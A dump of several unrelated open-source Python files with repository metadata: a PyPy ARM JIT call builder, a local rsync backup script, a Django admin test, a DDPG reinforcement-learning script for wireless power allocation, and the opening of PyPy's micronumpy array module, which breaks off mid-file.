from rpython.rlib.clibffi import FFI_DEFAULT_ABI from rpython.rlib.objectmodel import we_are_translated from rpython.jit.metainterp.history import INT, FLOAT, REF from rpython.jit.backend.arm.arch import WORD from rpython.jit.backend.arm import registers as r from rpython.jit.backend.arm import conditions as c from rpython.jit.backend.arm.locations import RawSPStackLocation from rpython.jit.backend.arm.jump import remap_frame_layout from rpython.jit.backend.llsupport.callbuilder import AbstractCallBuilder from rpython.jit.backend.arm.helper.assembler import count_reg_args from rpython.jit.backend.arm.helper.assembler import saved_registers from rpython.jit.backend.arm.helper.regalloc import check_imm_arg from rpython.jit.backend.arm.codebuilder import OverwritingBuilder from rpython.jit.backend.llsupport import llerrno from rpython.rtyper.lltypesystem import rffi class ARMCallbuilder(AbstractCallBuilder): def __init__(self, assembler, fnloc, arglocs, resloc=r.r0, restype=INT, ressize=WORD, ressigned=True): AbstractCallBuilder.__init__(self, assembler, fnloc, arglocs, resloc, restype, ressize) self.current_sp = 0 def push_gcmap(self): assert not self.is_call_release_gil # we push *now* the gcmap, describing the status of GC registers # after the rearrangements done just above, ignoring the return # value eax, if necessary noregs = self.asm.cpu.gc_ll_descr.is_shadow_stack() gcmap = self.asm._regalloc.get_gcmap([r.r0], noregs=noregs) self.asm.push_gcmap(self.mc, gcmap, store=True) def pop_gcmap(self): self.asm._reload_frame_if_necessary(self.mc) self.asm.pop_gcmap(self.mc) def emit_raw_call(self): #the actual call if self.fnloc.is_imm(): self.mc.BL(self.fnloc.value) return # --self.fnloc.is_stack() is always remapped to r4 here assert self.fnloc.is_core_reg() self.mc.BLX(self.fnloc.value) def restore_stack_pointer(self): # readjust the sp in case we passed some args on the stack assert self.current_sp % 8 == 0 # sanity check if self.current_sp != 0: self._adjust_sp(self.current_sp) self.current_sp = 0 def _push_stack_args(self, stack_args, on_stack): assert on_stack % 8 == 0 if on_stack == 0: return self._adjust_sp(-on_stack) self.current_sp = on_stack ofs = 0 for i, arg in enumerate(stack_args): if arg is not None: sp_loc = RawSPStackLocation(ofs, arg.type) self.asm.regalloc_mov(arg, sp_loc) ofs += sp_loc.width else: # alignment word ofs += WORD def _adjust_sp(self, n): # adjust the current stack pointer by n bytes if n > 0: if check_imm_arg(n): self.mc.ADD_ri(r.sp.value, r.sp.value, n) else: self.mc.gen_load_int(r.ip.value, n) self.mc.ADD_rr(r.sp.value, r.sp.value, r.ip.value) elif n < 0: n = abs(n) if check_imm_arg(n): self.mc.SUB_ri(r.sp.value, r.sp.value, n) else: self.mc.gen_load_int(r.ip.value, n) self.mc.SUB_rr(r.sp.value, r.sp.value, r.ip.value) def call_releasegil_addr_and_move_real_arguments(self, fastgil): assert self.is_call_release_gil assert not self.asm._is_asmgcc() # Save this thread's shadowstack pointer into r7, for later comparison gcrootmap = self.asm.cpu.gc_ll_descr.gcrootmap if gcrootmap: rst = gcrootmap.get_root_stack_top_addr() self.mc.gen_load_int(r.r5.value, rst) self.mc.LDR_ri(r.r7.value, r.r5.value) # change 'rpy_fastgil' to 0 (it should be non-zero right now) if self.asm.cpu.cpuinfo.arch_version >= 7: self.mc.DMB() self.mc.gen_load_int(r.r6.value, fastgil) self.mc.LDR_ri(r.r8.value, r.r6.value) # => our thread ident self.mc.MOV_ri(r.ip.value, 0) self.mc.STR_ri(r.ip.value, r.r6.value) if not we_are_translated(): # for testing: we should not access self.mc.ADD_ri(r.fp.value, r.fp.value, 1) # fp any more def move_real_result_and_call_reacqgil_addr(self, fastgil): # try to reacquire the lock. The registers r5 to r7 are still # valid from before the call: # r5 == &root_stack_top # r6 == fastgil # r7 == previous value of root_stack_top # r8 == our thread ident self.mc.LDREX(r.r3.value, r.r6.value) # load the lock value self.mc.CMP_ri(r.r3.value, 0) # is the lock free? self.mc.STREX(r.r3.value, r.r8.value, r.r6.value, c=c.EQ) # try to claim the lock self.mc.CMP_ri(r.r3.value, 0, cond=c.EQ) # did this succeed? if self.asm.cpu.cpuinfo.arch_version >= 7: self.mc.DMB() # the success of the lock acquisition is defined by # 'EQ is true', or equivalently by 'r3 == 0'. # if self.asm.cpu.gc_ll_descr.gcrootmap: # When doing a call_release_gil with shadowstack, there # is the risk that the 'rpy_fastgil' was free but the # current shadowstack can be the one of a different # thread. So here we check if the shadowstack pointer # is still the same as before we released the GIL (saved # in 'r7'), and if not, we fall back to 'reacqgil_addr'. self.mc.LDR_ri(r.ip.value, r.r5.value, cond=c.EQ) self.mc.CMP_rr(r.ip.value, r.r7.value, cond=c.EQ) b1_location = self.mc.currpos() self.mc.BKPT() # BEQ below # there are two cases here: either EQ was false from # the beginning, or EQ was true at first but the CMP # made it false. In the second case we need to # release the fastgil here. We know which case it is # by checking again r3. self.mc.CMP_ri(r.r3.value, 0) self.mc.STR_ri(r.r3.value, r.r6.value, cond=c.EQ) else: b1_location = self.mc.currpos() self.mc.BKPT() # BEQ below # # save the result we just got gpr_to_save, vfp_to_save = self.get_result_locs() with saved_registers(self.mc, gpr_to_save, vfp_to_save): self.mc.BL(self.asm.reacqgil_addr) # replace b1_location with B(here, c.EQ) pmc = OverwritingBuilder(self.mc, b1_location, WORD) pmc.B_offs(self.mc.currpos(), c.EQ) if not we_are_translated(): # for testing: now we can accesss self.mc.SUB_ri(r.fp.value, r.fp.value, 1) # fp again def get_result_locs(self): raise NotImplementedError def _ensure_result_bit_extension(self, resloc, size, signed): if size == 4: return if size == 1: if not signed: # unsigned char self.mc.AND_ri(resloc.value, resloc.value, 0xFF) else: self.mc.LSL_ri(resloc.value, resloc.value, 24) self.mc.ASR_ri(resloc.value, resloc.value, 24) elif size == 2: if not signed: self.mc.LSL_ri(resloc.value, resloc.value, 16) self.mc.LSR_ri(resloc.value, resloc.value, 16) else: self.mc.LSL_ri(resloc.value, resloc.value, 16) self.mc.ASR_ri(resloc.value, resloc.value, 16) def write_real_errno(self, save_err): if save_err & rffi.RFFI_READSAVED_ERRNO: # Just before a call, read '*_errno' and write it into the # real 'errno'. The r0-r3 registers contain arguments to the # future call; the r5-r8 registers contain various stuff. # We still have r9-r12. if save_err & rffi.RFFI_ALT_ERRNO: rpy_errno = llerrno.get_alt_errno_offset(self.asm.cpu) else: rpy_errno = llerrno.get_rpy_errno_offset(self.asm.cpu) p_errno = llerrno.get_p_errno_offset(self.asm.cpu) self.mc.LDR_ri(r.r9.value, r.sp.value, self.asm.saved_threadlocal_addr + self.current_sp) self.mc.LDR_ri(r.ip.value, r.r9.value, p_errno) self.mc.LDR_ri(r.r9.value, r.r9.value, rpy_errno) self.mc.STR_ri(r.r9.value, r.ip.value) elif save_err & rffi.RFFI_ZERO_ERRNO_BEFORE: # Same, but write zero. p_errno = llerrno.get_p_errno_offset(self.asm.cpu) self.mc.LDR_ri(r.r9.value, r.sp.value, self.asm.saved_threadlocal_addr + self.current_sp) self.mc.LDR_ri(r.ip.value, r.r9.value, p_errno) self.mc.MOV_ri(r.r9.value, 0) self.mc.STR_ri(r.r9.value, r.ip.value) def read_real_errno(self, save_err): if save_err & rffi.RFFI_SAVE_ERRNO: # Just after a call, read the real 'errno' and save a copy of # it inside our thread-local '*_errno'. Registers r9-r12 # are unused here, and registers r2-r3 never contain anything # after the call. if save_err & rffi.RFFI_ALT_ERRNO: rpy_errno = llerrno.get_alt_errno_offset(self.asm.cpu) else: rpy_errno = llerrno.get_rpy_errno_offset(self.asm.cpu) p_errno = llerrno.get_p_errno_offset(self.asm.cpu) self.mc.LDR_ri(r.r3.value, r.sp.value, self.asm.saved_threadlocal_addr) self.mc.LDR_ri(r.ip.value, r.r3.value, p_errno) self.mc.LDR_ri(r.ip.value, r.ip.value, 0) self.mc.STR_ri(r.ip.value, r.r3.value, rpy_errno) class SoftFloatCallBuilder(ARMCallbuilder): # XXX Maybe we could kill this class and unify the remaining two # XXX classes, by carefully checking if all methods here are doing # XXX the exact same thing as the methods from HardFloatCallBuilder, # XXX but simply forcing all BoxFloat arguments to be longlongs # XXX (i.e. ignoring 'f' in favour of 'L'), and the same with # XXX single-float arguments (ignoring 'S' in favour of 'i'); # XXX and the same for the return value. def get_result_locs(self): if self.resloc is None: return [], [] if self.resloc.is_vfp_reg(): return [r.r0, r.r1], [] assert self.resloc.is_core_reg() return [r.r0], [] def load_result(self): # ensure the result is wellformed and stored in the correct location resloc = self.resloc if resloc is None: return if resloc.is_vfp_reg(): # move result to the allocated register self.asm.mov_to_vfp_loc(r.r0, r.r1, resloc) elif resloc.is_core_reg(): # move result to the allocated register if resloc is not r.r0: self.asm.mov_loc_loc(r.r0, resloc) self._ensure_result_bit_extension(resloc, self.ressize, self.ressign) def _collect_and_push_stack_args(self, arglocs): n_args = len(arglocs) reg_args = count_reg_args(arglocs) # all arguments past the 4th go on the stack # first we need to prepare the list so it stays aligned stack_args = [] count = 0 on_stack = 0 if n_args > reg_args: for i in range(reg_args, n_args): arg = arglocs[i] if arg.type != FLOAT: count += 1 on_stack += 1 else: on_stack += 2 if count % 2 != 0: stack_args.append(None) count = 0 on_stack += 1 stack_args.append(arg) if count % 2 != 0: on_stack += 1 stack_args.append(None) if on_stack > 0: self._push_stack_args(stack_args, on_stack*WORD) def prepare_arguments(self): arglocs = self.arglocs reg_args = count_reg_args(arglocs) self._collect_and_push_stack_args(arglocs) # collect variables that need to go in registers and the registers they # will be stored in num = 0 count = 0 non_float_locs = [] non_float_regs = [] float_locs = [] for i in range(reg_args): arg = arglocs[i] if arg.type == FLOAT and count % 2 != 0: num += 1 count = 0 reg = r.caller_resp[num] if arg.type == FLOAT: float_locs.append((arg, reg)) else: non_float_locs.append(arg) non_float_regs.append(reg) if arg.type == FLOAT: num += 2 else: num += 1 count += 1 # Check that the address of the function we want to call is not # currently stored in one of the registers used to pass the arguments # or on the stack, which we can not access later # If this happens to be the case we remap the register to r4 and use r4 # to call the function if not self.fnloc.is_imm(): non_float_locs.append(self.fnloc) non_float_regs.append(r.r4) self.fnloc = r.r4 # remap values stored in core registers remap_frame_layout(self.asm, non_float_locs, non_float_regs, r.ip) for loc, reg in float_locs: self.asm.mov_from_vfp_loc(loc, reg, r.all_regs[reg.value + 1]) class HardFloatCallBuilder(ARMCallbuilder): next_arg_vfp = 0 next_arg_svfp = 0 def get_next_vfp(self, tp): assert tp in 'fS' if tp == 'f': # 64bit double i = max(self.next_arg_vfp, (self.next_arg_svfp + 1) >> 1) if i >= len(r.vfp_argument_regs): self.next_arg_svfp = 1000 # stop that sequence too return None self.next_arg_vfp = i + 1 return r.vfp_argument_regs[i] else: # 32bit float i = self.next_arg_svfp if not (i & 1): # if i is even i = max(i, self.next_arg_vfp << 1) if i >= len(r.svfp_argument_regs): return None self.next_arg_svfp = i + 1 return r.svfp_argument_regs[i] def prepare_arguments(self): non_float_locs = [] non_float_regs = [] float_locs = [] float_regs = [] stack_args = [] singlefloats = None longlong_mask = 0 arglocs = self.arglocs argtypes = self.argtypes r_register_count = 0 on_stack = 0 for i in range(len(arglocs)): argtype = INT if i < len(argtypes) and argtypes[i] == 'S': argtype = argtypes[i] arg = arglocs[i] if arg.is_float(): if i < len(argtypes) and argtypes[i] == 'L': # A longlong argument. It uses two regular argument # positions, but aligned to an even number. This is # a bit strange, but it is the case even for registers: # it can be in r0-r1 or in r2-r3 but not in r1-r2. assert arg.is_float() if r_register_count == 0: # will temporarily load the register into d8 float_locs.append(arg) float_regs.append(r.d8) longlong_mask |= 1 r_register_count = 2 continue elif r_register_count <= 2: # will temporarily load the register into d9 float_locs.append(arg) float_regs.append(r.d9) longlong_mask |= 2 r_register_count = 4 continue elif r_register_count == 3: r_register_count = 4 else: # A 64-bit float argument. Goes into the next free v# # register, or if none, to the stack aligned to an # even number of words. argtype = FLOAT reg = self.get_next_vfp(argtype) if reg: float_locs.append(arg) assert reg not in float_regs float_regs.append(reg) continue # float or longlong argument that needs to go on the stack if on_stack & 1: # odd: realign stack_args.append(None) on_stack += 1 stack_args.append(arg) on_stack += 2 elif argtype == 'S': # Singlefloat (32-bit) argument. Goes into the next free # v# register, or if none, to the stack in a single word. if singlefloats is None: singlefloats = [] tgt = self.get_next_vfp(argtype) if tgt: singlefloats.append((arg, tgt)) else: # Singlefloat argument that needs to go on the stack # treated the same as a regular core register argument stack_args.append(arg) on_stack += 1 else: # Regular one-word argument. Goes into the next register # free from the list r0, r1, r2, r3, or to the stack. if r_register_count < len(r.argument_regs): reg = r.argument_regs[r_register_count] r_register_count += 1 non_float_locs.append(arg) non_float_regs.append(reg) else: # non-float argument that needs to go on the stack stack_args.append(arg) on_stack += 1 # align the stack if on_stack & 1: # odd: realign stack_args.append(None) on_stack += 1 self._push_stack_args(stack_args, on_stack*WORD) # Check that the address of the function we want to call is not # currently stored in one of the registers used to pass the arguments # or on the stack, which we can not access later # If this happens to be the case we remap the register to r4 and use r4 # to call the function if not self.fnloc.is_imm(): non_float_locs.append(self.fnloc) non_float_regs.append(r.r4) self.fnloc = r.r4 # remap values stored in vfp registers remap_frame_layout(self.asm, float_locs, float_regs, r.vfp_ip) if singlefloats: for src, dest in singlefloats: if src.is_float(): assert 0, 'unsupported case' if src.is_stack(): # use special VLDR for 32bit self.asm.regalloc_mov(src, r.ip) src = r.ip if src.is_imm(): self.mc.gen_load_int(r.ip.value, src.value) src = r.ip if src.is_core_reg(): self.mc.VMOV_cs(dest.value, src.value) # remap values stored in core registers remap_frame_layout(self.asm, non_float_locs, non_float_regs, r.ip) if longlong_mask & 1: self.mc.FMRRD(r.r0.value, r.r1.value, r.d8.value) if longlong_mask & 2: self.mc.FMRRD(r.r2.value, r.r3.value, r.d9.value) def load_result(self): resloc = self.resloc if self.restype == 'S': self.mc.VMOV_sc(resloc.value, r.s0.value) elif self.restype == 'L': assert resloc.is_vfp_reg() self.mc.FMDRR(resloc.value, r.r0.value, r.r1.value) # ensure the result is wellformed and stored in the correct location if resloc is not None and resloc.is_core_reg(): self._ensure_result_bit_extension(resloc, self.ressize, self.ressign) def get_result_locs(self): if self.resloc is None: return [], [] if self.resloc.is_vfp_reg(): if self.restype == 'L': # long long return [r.r0, r.r1], [] else: return [], [r.d0] assert self.resloc.is_core_reg() return [r.r0], [] def get_callbuilder(cpu, assembler, fnloc, arglocs, resloc=r.r0, restype=INT, ressize=WORD, ressigned=True): if cpu.cpuinfo.hf_abi: return HardFloatCallBuilder(assembler, fnloc, arglocs, resloc, restype, ressize, ressigned) else: return SoftFloatCallBuilder(assembler, fnloc, arglocs, resloc, restype, ressize, ressigned)

42.112205

91

0.557986

58cc66384450fe06963dd83c09796e8a5b958d63

1,571

py

Python

files_and_folders/backupper/bk.py

Xanderamon/python-IT-automation

d07c41a3b3102214631cb35bd73d2a2d315c89dc

[ "MIT" ]

null

files_and_folders/backupper/bk.py

Xanderamon/python-IT-automation

d07c41a3b3102214631cb35bd73d2a2d315c89dc

[ "MIT" ]

null

files_and_folders/backupper/bk.py

Xanderamon/python-IT-automation

d07c41a3b3102214631cb35bd73d2a2d315c89dc

[ "MIT" ]

null

#!/usr/bin/env python3 import os import multiprocessing import subprocess #In this test /src/ and /dest/ are in the same folder of the script source = os.path.join(os.getcwd(),"src") destination = os.path.join(os.getcwd(),"dest") def get_pathlist(folder): pathlist = [] #No need for the FULL path of the dir/file #The source directory is in a global variable for root,dirs,files in os.walk(folder): for f in files: #Extract the sub-folder (if any) path = root[len(folder):] #Extract the filename item = f #Store the RELATIVE path in a tuple pathlist.append((path,item)) for d in dirs: #Extract the sub-folder (if any) path = root[len(folder):] #Extract the folder name item = d #Store the RELATIVE path in a tuple pathlist.append((path,item)) #Return the list of tuples return pathlist def backup(path): #Source = root, path[0] = sub-folder, path[1] = file/dir name #NB: We input the FULL path of the source file/folder src = os.path.join(source,path[0],path[1]) #Destination = root, path[0] = sub-folder #NB: We input the destination folder only (no need for the file/folder name) dest = os.path.join(destination,path[0]) subprocess.call(['rsync', '-azq', src, dest]) if __name__ == "__main__": src_pathlist = get_pathlist(source) with multiprocessing.Pool(len(src_pathlist),maxtasksperchild=1) as mpool: mpool.map(backup,src_pathlist)

33.425532

80

0.630172

f2b05a1d36df99e204c9873cfbe89878cb7e1370

838

py

Python

cms/apps/pages/tests/test_admin_destructive.py

cresset-group/cms

727b81e40dd1196e85c240e728a7824121163d4d

[ "BSD-3-Clause" ]

13

2015-03-13T21:32:16.000Z

2020-08-07T08:09:02.000Z

cms/apps/pages/tests/test_admin_destructive.py

cresset-group/cms

727b81e40dd1196e85c240e728a7824121163d4d

[ "BSD-3-Clause" ]

131

2015-04-04T11:27:14.000Z

2020-10-16T13:39:16.000Z

cms/apps/pages/tests/test_admin_destructive.py

cresset-group/cms

727b81e40dd1196e85c240e728a7824121163d4d

[ "BSD-3-Clause" ]

16

2015-06-05T12:56:28.000Z

2021-01-06T15:15:53.000Z

import sys from django.conf import settings from django.contrib import admin from django.test import TestCase from ..models import Country, CountryGroup, Page class TestArticleAdminBase(TestCase): def test_article_admin(self): self.assertNotIn(Country, admin.site._registry) self.assertNotIn(CountryGroup, admin.site._registry) with self.settings(MIDDLEWARE=['cms.middleware.LocalisationMiddleware']): module = sys.modules['cms.apps.pages.admin'] del sys.modules['cms.apps.pages.admin'] admin.site.unregister(Page) from ..admin import page_admin assert page_admin self.assertIn(Country, admin.site._registry) self.assertIn(CountryGroup, admin.site._registry) sys.modules['cms.apps.pages.admin'] = module

28.896552

81

0.686158

540668a27b948a35e360e525034587d9fcaa1c6d

111

py

Python

mocasin/gui/__init__.py

tud-ccc/mocasin

6cf0a169e24d65d0fc859398f181dd500f928340

[ "0BSD" ]

1

2022-03-13T19:27:50.000Z

mocasin/tgff/tgffParser/__init__.py

tud-ccc/mocasin

6cf0a169e24d65d0fc859398f181dd500f928340

[ "0BSD" ]

null

mocasin/tgff/tgffParser/__init__.py

tud-ccc/mocasin

6cf0a169e24d65d0fc859398f181dd500f928340

[ "0BSD" ]

null

22.2

50

0.738739

274bedadf55aa20c412461ba9d4fc9bb02da6a03

8,417

py

Python

special_case.py

zhiguo-ding/CRNOMA_DDPG

8f7acca0a8b2c176e50c262cb006a0f4a8af37a1

[ "MIT" ]

24

2020-12-03T07:54:54.000Z

2022-03-27T10:44:16.000Z

special_case.py

3025066980/CRNOMA_DDPG

8f7acca0a8b2c176e50c262cb006a0f4a8af37a1

[ "MIT" ]

null

special_case.py

3025066980/CRNOMA_DDPG

8f7acca0a8b2c176e50c262cb006a0f4a8af37a1

[ "MIT" ]

16

2020-12-03T13:36:12.000Z

2022-03-30T10:49:11.000Z

""" Note: This is based on Mofan's codes from: https://morvanzhou.github.io/tutorials/ Using: tensorflow 1.0 This code is used to generate the figures for random fading without average (a snapshot). Simply change K """ import tensorflow.compat.v1 as tf tf.disable_v2_behavior() import numpy as np import time from enviroment import Env_cellular as env import matplotlib.pyplot as plt ##################### hyper parameters #################### Pn = 1 K=10 # the number of grant based users MAX_EPISODES = 400 MAX_EP_STEPS = 100 LR_A = 0.002 # learning rate for actor LR_C = 0.004 # learning rate for critic GAMMA = 0.9 # reward discount TAU = 0.01 # soft replacement MEMORY_CAPACITY = 10000 BATCH_SIZE = 32 ############################### DDPG #################################### class DDPG(object): def __init__(self, a_dim, s_dim, a_bound,): self.memory = np.zeros((MEMORY_CAPACITY, s_dim * 2 + a_dim + 1), dtype=np.float32) self.pointer = 0 self.sess = tf.Session() self.a_dim, self.s_dim, self.a_bound = a_dim, s_dim, a_bound, self.S = tf.placeholder(tf.float32, [None, s_dim], 's') self.S_ = tf.placeholder(tf.float32, [None, s_dim], 's_') self.R = tf.placeholder(tf.float32, [None, 1], 'r') self.a = self._build_a(self.S,) q = self._build_c(self.S, self.a, ) a_params = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='Actor') c_params = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='Critic') ema = tf.train.ExponentialMovingAverage(decay=1 - TAU) # soft replacement def ema_getter(getter, name, *args, **kwargs): return ema.average(getter(name, *args, **kwargs)) target_update = [ema.apply(a_params), ema.apply(c_params)] # soft update operation a_ = self._build_a(self.S_, reuse=True, custom_getter=ema_getter) # replaced target parameters q_ = self._build_c(self.S_, a_, reuse=True, custom_getter=ema_getter) a_loss = - tf.reduce_mean(q) # maximize the q self.atrain = tf.train.AdamOptimizer(LR_A).minimize(a_loss, var_list=a_params) with tf.control_dependencies(target_update): # soft replacement happened at here q_target = self.R + GAMMA * q_ td_error = tf.losses.mean_squared_error(labels=q_target, predictions=q) self.ctrain = tf.train.AdamOptimizer(LR_C).minimize(td_error, var_list=c_params) self.sess.run(tf.global_variables_initializer()) def choose_action(self, s): return self.sess.run(self.a, {self.S: s })[0] def learn(self): indices = np.random.choice(min(MEMORY_CAPACITY,self.pointer), size=BATCH_SIZE) bt = self.memory[indices, :] bs = bt[:, :self.s_dim] ba = bt[:, self.s_dim: self.s_dim + self.a_dim] br = bt[:, -self.s_dim - 1: -self.s_dim] bs_ = bt[:, -self.s_dim:] self.sess.run(self.atrain, {self.S: bs}) self.sess.run(self.ctrain, {self.S: bs, self.a: ba, self.R: br, self.S_: bs_}) def store_transition(self, s, a, r, s_): r = np.reshape(r,(1,1)) a = np.reshape(a,(1,1)) #print(f"state is {s}, action is {a}, reward is {r}, next state is {s_}") transition = np.hstack((s, a, r, s_)) index = self.pointer % MEMORY_CAPACITY # replace the old memory with new memory self.memory[index, :] = transition self.pointer += 1 def _build_a(self, s, reuse=None, custom_getter=None): trainable = True if reuse is None else False with tf.variable_scope('Actor', reuse=reuse, custom_getter=custom_getter): net = tf.layers.dense(s, 64, activation=tf.nn.relu, name='l1', trainable=trainable) a2 = tf.layers.dense(net, 64, activation=tf.nn.tanh, name='l2', trainable=trainable) #a3 = tf.layers.dense(a2, 30, activation=tf.nn.tanh, name='l3', trainable=trainable) a = tf.layers.dense(a2, self.a_dim, activation=tf.nn.tanh, name='a', trainable=trainable) return tf.multiply(a, self.a_bound, name='scaled_a') def _build_c(self, s, a, reuse=None, custom_getter=None): trainable = True if reuse is None else False with tf.variable_scope('Critic', reuse=reuse, custom_getter=custom_getter): n_l1 = 64 w1_s = tf.get_variable('w1_s', [self.s_dim, n_l1], trainable=trainable) w1_a = tf.get_variable('w1_a', [self.a_dim, n_l1], trainable=trainable) b1 = tf.get_variable('b1', [1, n_l1], trainable=trainable) net = tf.nn.relu(tf.matmul(s, w1_s) + tf.matmul(a, w1_a) + b1) net2 = tf.layers.dense(net, 64, activation=tf.nn.relu, name='lx2', trainable=trainable) #net3 = tf.layers.dense(net2, 30, activation=tf.nn.relu, name='lx3', trainable=trainable) #not sure about this part return tf.layers.dense(net2, 1, trainable=trainable) # Q(s,a) ############################### training #################################### s_dim = 3# dimsion of states a_dim = 1# dimension of action a_bound = 1 #bound of action state_am = 10000 locationspace = np.linspace(1,1000, num=K) location_vector = np.zeros((K, 2)) location_vector[:,1] = locationspace location_GF = np.array([[1,1]])# np.ones((1, 2)) ##### fading for GB user hnx1 = np.random.randn(K, 2) hnx2 = np.random.randn(K, 2) fading_n = hnx1 ** 2 + hnx2 ** 2 #### fading for GF user h0x1 = np.random.randn(1, 1) h0x2 = np.random.randn(1, 1) fading_0 = h0x1[0,0] ** 2 + h0x2[0,0] ** 2 myenv = env( MAX_EP_STEPS, s_dim, location_vector,location_GF,K,Pn, fading_n, fading_0) #myenv = env(P0, MAX_EP_STEPS, s_dim, location_vector,location_GF,K) #myenv = env(P0,MAX_EP_STEPS,s_dim) ddpg = DDPG(a_dim, s_dim, a_bound) var = 1 # control exploration t1 = time.time() ep_rewardall = [] ep_rewardall_greedy = [] ep_rewardall_random = [] for i in range(MAX_EPISODES): batter_ini = myenv.reset() s = myenv.channel_sequence[i%myenv.K,:].tolist() #s.append(myenv.h0) s.append(batter_ini) s = np.reshape(s,(1,s_dim)) s = s*state_am #amplify the state s_greedy = s s_random = s #print(s[0,0:2]) ep_reward = 0 ep_reward_random = 0 ep_reward_greedy = 0 for j in range(MAX_EP_STEPS): # Add exploration noise a = ddpg.choose_action(s) a = np.clip(np.random.normal(a, var), 0, 1) # add randomness to action selection for exploration r, s_, done = myenv.step(a,s/state_am,j) s_ = s_ * state_am ddpg.store_transition(s, a, r, s_) if var >0.1: var *= .9998 # decay the action randomness ddpg.learn() s = s_ ep_reward += r ##### greedy r_greedy, s_next_greedy, done = myenv.step_greedy(s_greedy/state_am, j) s_greedy = s_next_greedy*state_am ep_reward_greedy += r_greedy ##### random r_random, s_next_random, done = myenv.step_random(s_random/state_am, j) s_random = s_next_random*state_am ep_reward_random += r_random if j == MAX_EP_STEPS-1: #print(f"Episode: {i}, reward is {ep_reward}, and Explore is {var}") print('Episode:', i, ' Reward: %i' % int(ep_reward),' Reward Greedy: %i' % int(ep_reward_greedy),' Reward random: %i' % int(ep_reward_random), 'Explore: %.2f' % var ) #print(myenv.location) # if ep_reward > -300:RENDER = True break ep_reward = np.reshape(ep_reward/MAX_EP_STEPS, (1,)) ep_rewardall.append(ep_reward) ep_reward_greedy = np.reshape(ep_reward_greedy/MAX_EP_STEPS, (1,)) ep_rewardall_greedy.append(ep_reward_greedy) ep_reward_random = np.reshape(ep_reward_random/MAX_EP_STEPS, (1,)) ep_rewardall_random.append(ep_reward_random) #print(s_) print('Running time: ', time.time() - t1) print(f"{ep_reward} ") print(ep_rewardall) plt.plot(ep_rewardall, "^-", label='DDPG: rewards') plt.plot(ep_rewardall_greedy, "+:", label='Greedy: rewards') plt.plot(ep_rewardall_random, "o--", label='Random: rewards') plt.xlabel("Episode") plt.ylabel(" Epsiodic Reward - Average Data Rate (NPCU)") plt.legend( loc=3, ncol=2) plt.show() ''' Save final results''' #np.savez_compressed('data_snapshot', ep_rewardall=ep_rewardall, ep_rewardall_greedy=ep_rewardall_greedy, ep_rewardall_random=ep_rewardall_random)

38.43379

178

0.634668

bcbb8189e5466f03064f9ba612c54c028e53d20f

30,924

py

Python

pypy/module/micronumpy/concrete.py

SeraphRoy/PyPy-Functional

e825dce7f7c484fa666566974a93ed5d59fb73be

[ "Apache-2.0", "OpenSSL" ]

null

pypy/module/micronumpy/concrete.py

SeraphRoy/PyPy-Functional

e825dce7f7c484fa666566974a93ed5d59fb73be

[ "Apache-2.0", "OpenSSL" ]

null

pypy/module/micronumpy/concrete.py

SeraphRoy/PyPy-Functional

e825dce7f7c484fa666566974a93ed5d59fb73be

[ "Apache-2.0", "OpenSSL" ]

null

from pypy.interpreter.error import oefmt from rpython.rlib import jit, rgc from rpython.rlib.rarithmetic import ovfcheck from rpython.rlib.listsort import make_timsort_class from rpython.rlib.buffer import Buffer from rpython.rlib.debug import make_sure_not_resized from rpython.rlib.rstring import StringBuilder from rpython.rlib.rawstorage import alloc_raw_storage, free_raw_storage, \ raw_storage_getitem, raw_storage_setitem, RAW_STORAGE from rpython.rtyper.lltypesystem import rffi, lltype, llmemory from pypy.module.micronumpy import support, loop, constants as NPY from pypy.module.micronumpy.base import convert_to_array, W_NDimArray, \ ArrayArgumentException, W_NumpyObject from pypy.module.micronumpy.iterators import ArrayIter from pypy.module.micronumpy.strides import ( IntegerChunk, SliceChunk, NewAxisChunk, EllipsisChunk, BooleanChunk, new_view, calc_strides, calc_new_strides, shape_agreement, calculate_broadcast_strides, calc_backstrides, calc_start, is_c_contiguous, is_f_contiguous) from rpython.rlib.objectmodel import keepalive_until_here TimSort = make_timsort_class() class StrideSort(TimSort): ''' argsort (return the indices to sort) a list of strides ''' def __init__(self, rangelist, strides, order): self.strides = strides self.order = order TimSort.__init__(self, rangelist) def lt(self, a, b): if self.order == NPY.CORDER: return self.strides[a] <= self.strides[b] return self.strides[a] < self.strides[b] class BaseConcreteArray(object): _immutable_fields_ = ['dtype?', 'storage', 'start', 'size', 'shape[*]', 'strides[*]', 'backstrides[*]', 'order', 'gcstruct', 'flags'] start = 0 parent = None flags = 0 # JIT hints that length of all those arrays is a constant def get_shape(self): shape = self.shape jit.hint(len(shape), promote=True) return shape def get_strides(self): strides = self.strides jit.hint(len(strides), promote=True) return strides def get_backstrides(self): backstrides = self.backstrides jit.hint(len(backstrides), promote=True) return backstrides def get_flags(self): return self.flags def getitem(self, index): return self.dtype.read(self, index, 0) def getitem_bool(self, index): return self.dtype.read_bool(self, index, 0) def setitem(self, index, value): self.dtype.store(self, index, 0, value) @jit.unroll_safe def setslice(self, space, arr): if arr.get_size() == 1: # we can always set self[:] = scalar pass elif len(arr.get_shape()) > len(self.get_shape()): # record arrays get one extra dimension if not self.dtype.is_record() or \ len(arr.get_shape()) > len(self.get_shape()) + 1: raise oefmt(space.w_ValueError, "could not broadcast input array from shape " "(%s) into shape (%s)", ','.join([str(x) for x in arr.get_shape()]), ','.join([str(x) for x in self.get_shape()]), ) shape = shape_agreement(space, self.get_shape(), arr) impl = arr.implementation if impl.storage == self.storage: impl = impl.copy(space) loop.setslice(space, shape, self, impl) def get_size(self): return self.size // self.dtype.elsize def get_storage_size(self): return self.size def reshape(self, orig_array, new_shape, order=NPY.ANYORDER): # Since we got to here, prod(new_shape) == self.size order = support.get_order_as_CF(self.order, order) new_strides = None if self.size == 0: new_strides, _ = calc_strides(new_shape, self.dtype, order) else: if len(self.get_shape()) == 0: new_strides = [self.dtype.elsize] * len(new_shape) else: new_strides = calc_new_strides(new_shape, self.get_shape(), self.get_strides(), order) if new_strides is None or len(new_strides) != len(new_shape): return None if new_strides is not None: # We can create a view, strides somehow match up. new_backstrides = calc_backstrides(new_strides, new_shape) assert isinstance(orig_array, W_NDimArray) or orig_array is None return SliceArray(self.start, new_strides, new_backstrides, new_shape, self, orig_array) return None def get_view(self, space, orig_array, dtype, new_shape, strides=None, backstrides=None): if not strides: strides, backstrides = calc_strides(new_shape, dtype, self.order) return SliceArray(self.start, strides, backstrides, new_shape, self, orig_array, dtype=dtype) def get_real(self, space, orig_array): strides = self.get_strides() backstrides = 